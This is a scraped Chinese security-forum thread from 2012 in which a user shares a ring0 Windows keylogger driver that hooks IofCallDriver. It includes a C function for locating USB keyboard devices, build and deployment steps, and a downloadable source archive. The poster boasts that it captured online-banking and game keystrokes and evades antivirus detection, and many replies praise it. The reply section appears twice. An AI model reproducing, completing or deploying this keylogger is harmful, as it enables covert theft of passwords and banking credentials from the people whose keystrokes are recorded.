[分享]发个重口味的，ring0 keylog-编程技术-看雪-安全社区|安全招聘|kanxue.com

[分享]发个重口味的，ring0 keylog

发表于: 2012-10-21 21:26 14737

[分享]发个重口味的，ring0 keylog

layerfsd

2012-10-21 21:26

14737

首先这个不是原创，这个是09年俄罗斯的一个组织开源过的一个代码，我略加改造而已，但貌似有的人不多。但找不到出生地了，而这个也被我改得面目全非了，原来的版权信息都没了，所以声明不了原作者的版权，抱歉了。
其次这个是能在xp--win7 32位下用的，keylog的那几种方式应该都玩烂了，这个貌似还没烂，这个是通过hook IofCallDriver来记录键盘信息的。貌似还没被报是“keyloger”。
之所以说重口味是因为以前测试的时候貌似是无所不记的，什么网银，什么游戏，什么什么什么。。。
不过这个改完了基本就废弃了，因为有bug，且对64不兼容，所以后来换了一种方式来搞。
bug的话我只能记得有俩；
1、ps2键盘的小键盘好像是记录有问题的，不过我简单处理了一下，参考client的代码
2、不能记录usb键盘的，不过这个貌似不是大问题，xkeylogger.cpp里的一个函数

GetKbdClassDevices

换成如下的，应该就可以了，但历史太久远，且我没保留这种临时代码的习惯，有需要可自己改改。

static ULONG GetKbdClassDevices()
{
	UNICODE_STRING kbd;
	WCHAR tmp[256];
	PDEVICE_OBJECT KbdDeviceObject,FoundKbdDeviceObject;
	NTSTATUS Status;
	PFILE_OBJECT FileObject;
	ULONG iClass;

	RtlInitUnicodeString(&kbd,L"\\Driver\\hidusb");
	Status = IoGetDeviceObjectPointer(&kbd,FILE_READ_ATTRIBUTES,&FileObject,&KbdDeviceObject);
	if (NT_SUCCESS(Status))
	{
		if (FoundKbdDeviceObject = FindReadKbdClass(KbdDeviceObject))
		{
			KdPrint(("[XkeyLogger] : found usb \n"));

			gKeyboardClassDevices[0] = FoundKbdDeviceObject;
		}
	}
	return 0;
}

大概就这样了，使用方法是先用wdk7600编译出来“driver”下的驱动，然后在“client”目录下生成应用层通讯代码，最后把把生成的drv.sys拷贝到编译出来那个exe的目录。生成的keylog文件记录在programfiles下的log文件。

这份代码旨在老调重弹，重温一下键盘记录的一种方式与驱动与应用层通讯的一种方式。换个方式，很多Anti也许就失效了。

[课程]Android-CTF解题方法汇总！

上传的附件：

keylog.rar （67.54kb，484次下载）

收藏・47

免费・6

支持

最新回复 (27) 1 2 ▶
qqlinhai 雪币： 114 活跃值： (180) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 288 粉丝 0 关注私信	qqlinhai 2 楼又要加精了吗？前排占位 2012-10-21 22:11 0
淡定疯着雪币： 297 活跃值： (120) 能力值： ( LV5，RANK：60 ) 在线值：发帖 31 回帖 445 粉丝 1 关注私信	淡定疯着 3 楼一天一板砖，楼主猛牛啊。 2012-10-21 23:15 0
Nermor 雪币： 138 活跃值： (460) 能力值： ( LV4，RANK：50 ) 在线值：发帖 29 回帖 371 粉丝 2 关注私信	Nermor 1 4 楼最近料很多啊~ 不知是哪位大牛 2012-10-21 23:31 0
z许雪币： 1905 活跃值： (1537) 能力值： ( LV5，RANK：60 ) 在线值：发帖 13 回帖 266 粉丝 4 关注私信	z许 5 楼大牛马甲猛爆。 2012-10-21 23:32 0
cvcvxk 雪币： 8865 活跃值： (2379) 能力值： ( LV12，RANK：760 ) 在线值：发帖 125 回帖 3095 粉丝 233 关注私信	cvcvxk 10 6 楼话说，这个代码好xx~ 2012-10-22 01:32 0
哟哟哟哟雪币： 107 活跃值： (27) 能力值： ( LV2，RANK：10 ) 在线值：发帖 36 回帖 204 粉丝 0 关注私信	哟哟哟哟 7 楼楼主是个神秘大牛 2012-10-22 03:29 0
goddkiller 雪币： 485 活跃值： (78) 能力值： ( LV4，RANK：40 ) 在线值：发帖 9 回帖 346 粉丝 1 关注私信	goddkiller 8 楼 thx for share it~~ 2012-10-22 08:32 0
mengzhou 雪币： 48 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 41 粉丝 0 关注私信	mengzhou 9 楼这个有用，谢谢楼主 2012-10-22 08:56 0
星河互动雪币： 238 活跃值： (13) 能力值： ( LV2，RANK：10 ) 在线值：发帖 4 回帖 52 粉丝 0 关注私信	星河互动 10 楼底层就是对设备处理麻烦多 2012-10-22 09:49 0
cogito 雪币： 320 活跃值： (183) 能力值： ( LV3，RANK：30 ) 在线值：发帖 3 回帖 40 粉丝 1 关注私信	cogito 11 楼 lz是不是换工作了？话说楼主的第四代文件加密搞完了没？提供试用一下？ 2012-10-22 12:03 0
viphack 雪币： 219 活跃值： (738) 能力值： (RANK：290 ) 在线值：发帖 135 回帖 1009 粉丝 42 关注私信	viphack 4 12 楼 mark mark 2012-10-22 13:41 0
guobing 雪币： 10026 活跃值： (158) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 402 粉丝 0 关注私信	guobing 13 楼帖子: 4 精华: 4 这个才是亮点～ 2012-10-22 13:45 0
yxgbo 雪币： 34 活跃值： (11) 能力值： ( LV2，RANK：10 ) 在线值：发帖 7 回帖 86 粉丝 0 关注私信	yxgbo 14 楼 mark mark mark 2012-10-22 14:33 0
futosky 雪币： 862 活跃值： (329) 能力值： ( LV9，RANK：165 ) 在线值：发帖 23 回帖 171 粉丝 1 关注私信	futosky 3 15 楼最近写一个垃圾主动防御山寨版，键盘保护功能直接就把获取键盘的设备对象拦截了...不知道有没有用，呵呵 2012-10-22 15:14 0
Artmiss 雪币： 19 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 69 粉丝 1 关注私信	Artmiss 16 楼支持，thks for share~ 2012-10-22 16:43 0
plgs 雪币： 389 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 38 粉丝 0 关注私信	plgs 17 楼楼主是大牛啊 2012-10-22 19:36 0
libocdf 雪币： 119 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 6 回帖 297 粉丝 0 关注私信	libocdf 18 楼果然加精了。。前排。。。没了。。 2012-10-22 20:46 0
我是西瓜雪币： 12 活跃值： (20) 能力值： ( LV2，RANK：10 ) 在线值：发帖 12 回帖 58 粉丝 0 关注私信	我是西瓜 19 楼楼主打算占领精华区？ 2012-10-22 21:38 0
萌克力雪币： 433 活跃值： (1895) 能力值： ( LV4，RANK：40 ) 在线值：发帖 35 回帖 607 粉丝 32 关注私信	萌克力 20 楼哇..发帖子都是精品啊 2012-10-23 05:45 0
zgyknight 雪币： 2 活跃值： (164) 能力值： ( LV2，RANK：10 ) 在线值：发帖 31 回帖 194 粉丝 0 关注私信	zgyknight 21 楼奉旨膜拜　　　　　　　　　　　　　　　　　　　　 2012-10-23 10:32 0
enizumi 雪币： 200 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	enizumi 22 楼 lz牛人~~多谢分享 2012-10-23 13:16 0
BeWideWay 雪币： 507 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 30 粉丝 0 关注私信	BeWideWay 23 楼 . mark 2012-10-23 13:56 0
zhenly 雪币： 323 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 7 回帖 24 粉丝 0 关注私信	zhenly 24 楼学习下驱动编程~ 2012-10-24 16:55 0
angelrei 雪币： 238 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 14 粉丝 0 关注私信	angelrei 25 楼 mark,thank you for your effort 2012-10-25 17:13 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

layerfsd

发帖

284

回帖

180

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

最新回复 (27) 1 2 ▶
qqlinhai 雪币： 114 活跃值： (180) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 288 粉丝 0 关注私信	qqlinhai 2 楼又要加精了吗？前排占位 2012-10-21 22:11 0
淡定疯着雪币： 297 活跃值： (120) 能力值： ( LV5，RANK：60 ) 在线值：发帖 31 回帖 445 粉丝 1 关注私信	淡定疯着 3 楼一天一板砖，楼主猛牛啊。 2012-10-21 23:15 0
Nermor 雪币： 138 活跃值： (460) 能力值： ( LV4，RANK：50 ) 在线值：发帖 29 回帖 371 粉丝 2 关注私信	Nermor 1 4 楼最近料很多啊~ 不知是哪位大牛 2012-10-21 23:31 0
z许雪币： 1905 活跃值： (1537) 能力值： ( LV5，RANK：60 ) 在线值：发帖 13 回帖 266 粉丝 4 关注私信	z许 5 楼大牛马甲猛爆。 2012-10-21 23:32 0
cvcvxk 雪币： 8865 活跃值： (2379) 能力值： ( LV12，RANK：760 ) 在线值：发帖 125 回帖 3095 粉丝 233 关注私信	cvcvxk 10 6 楼话说，这个代码好xx~ 2012-10-22 01:32 0
哟哟哟哟雪币： 107 活跃值： (27) 能力值： ( LV2，RANK：10 ) 在线值：发帖 36 回帖 204 粉丝 0 关注私信	哟哟哟哟 7 楼楼主是个神秘大牛 2012-10-22 03:29 0
goddkiller 雪币： 485 活跃值： (78) 能力值： ( LV4，RANK：40 ) 在线值：发帖 9 回帖 346 粉丝 1 关注私信	goddkiller 8 楼 thx for share it~~ 2012-10-22 08:32 0
mengzhou 雪币： 48 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 41 粉丝 0 关注私信	mengzhou 9 楼这个有用，谢谢楼主 2012-10-22 08:56 0
星河互动雪币： 238 活跃值： (13) 能力值： ( LV2，RANK：10 ) 在线值：发帖 4 回帖 52 粉丝 0 关注私信	星河互动 10 楼底层就是对设备处理麻烦多 2012-10-22 09:49 0
cogito 雪币： 320 活跃值： (183) 能力值： ( LV3，RANK：30 ) 在线值：发帖 3 回帖 40 粉丝 1 关注私信	cogito 11 楼 lz是不是换工作了？话说楼主的第四代文件加密搞完了没？提供试用一下？ 2012-10-22 12:03 0
viphack 雪币： 219 活跃值： (738) 能力值： (RANK：290 ) 在线值：发帖 135 回帖 1009 粉丝 42 关注私信	viphack 4 12 楼 mark mark 2012-10-22 13:41 0
guobing 雪币： 10026 活跃值： (158) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 402 粉丝 0 关注私信	guobing 13 楼帖子: 4 精华: 4 这个才是亮点～ 2012-10-22 13:45 0
yxgbo 雪币： 34 活跃值： (11) 能力值： ( LV2，RANK：10 ) 在线值：发帖 7 回帖 86 粉丝 0 关注私信	yxgbo 14 楼 mark mark mark 2012-10-22 14:33 0
futosky 雪币： 862 活跃值： (329) 能力值： ( LV9，RANK：165 ) 在线值：发帖 23 回帖 171 粉丝 1 关注私信	futosky 3 15 楼最近写一个垃圾主动防御山寨版，键盘保护功能直接就把获取键盘的设备对象拦截了...不知道有没有用，呵呵 2012-10-22 15:14 0
Artmiss 雪币： 19 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 69 粉丝 1 关注私信	Artmiss 16 楼支持，thks for share~ 2012-10-22 16:43 0
plgs 雪币： 389 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 38 粉丝 0 关注私信	plgs 17 楼楼主是大牛啊 2012-10-22 19:36 0
libocdf 雪币： 119 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 6 回帖 297 粉丝 0 关注私信	libocdf 18 楼果然加精了。。前排。。。没了。。 2012-10-22 20:46 0
我是西瓜雪币： 12 活跃值： (20) 能力值： ( LV2，RANK：10 ) 在线值：发帖 12 回帖 58 粉丝 0 关注私信	我是西瓜 19 楼楼主打算占领精华区？ 2012-10-22 21:38 0
萌克力雪币： 433 活跃值： (1895) 能力值： ( LV4，RANK：40 ) 在线值：发帖 35 回帖 607 粉丝 32 关注私信	萌克力 20 楼哇..发帖子都是精品啊 2012-10-23 05:45 0
zgyknight 雪币： 2 活跃值： (164) 能力值： ( LV2，RANK：10 ) 在线值：发帖 31 回帖 194 粉丝 0 关注私信	zgyknight 21 楼奉旨膜拜　　　　　　　　　　　　　　　　　　　　 2012-10-23 10:32 0
enizumi 雪币： 200 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	enizumi 22 楼 lz牛人~~多谢分享 2012-10-23 13:16 0
BeWideWay 雪币： 507 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 30 粉丝 0 关注私信	BeWideWay 23 楼 . mark 2012-10-23 13:56 0
zhenly 雪币： 323 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 7 回帖 24 粉丝 0 关注私信	zhenly 24 楼学习下驱动编程~ 2012-10-24 16:55 0
angelrei 雪币： 238 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 14 粉丝 0 关注私信	angelrei 25 楼 mark,thank you for your effort 2012-10-25 17:13 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复